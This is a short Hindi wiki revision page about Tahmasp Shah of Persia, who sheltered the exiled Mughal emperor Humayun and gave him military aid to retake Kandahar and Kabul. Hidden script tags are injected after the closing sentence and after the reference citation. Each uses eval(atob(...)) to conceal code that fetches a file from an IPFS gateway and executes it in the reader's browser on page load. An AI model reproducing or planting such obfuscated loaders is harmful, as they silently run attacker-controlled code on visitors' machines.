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− | + | *हुमायूँ को शरण देने के साथ ही तहमस्प शाह ने मुग़ल बादशाह को सैन्य सहायता भी दी और जिस कारण से हुमायूँ [[कंधार]] और [[काबुल]] को 1545 ई. में फिर से अपने अधीन करने में सफल हो सका। | |
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+ | इस प्रकार एक बार फिर हुमायूँ भारतीय साम्राज्य का पुन: अधीश्वर हो गया। | ||
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13:54, 19 अक्टूबर 2011 का अवतरण
तहमस्प शाह फ़ारस का बादशाह था, जिसकी शरण 1544 ई. में निर्वासित मुग़ल बादशाह हुमायूँ ने ली थी।
- हुमायूँ को शरण देने के साथ ही तहमस्प शाह ने मुग़ल बादशाह को सैन्य सहायता भी दी और जिस कारण से हुमायूँ कंधार और काबुल को 1545 ई. में फिर से अपने अधीन करने में सफल हो सका।
इस प्रकार एक बार फिर हुमायूँ भारतीय साम्राज्य का पुन: अधीश्वर हो गया। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 186 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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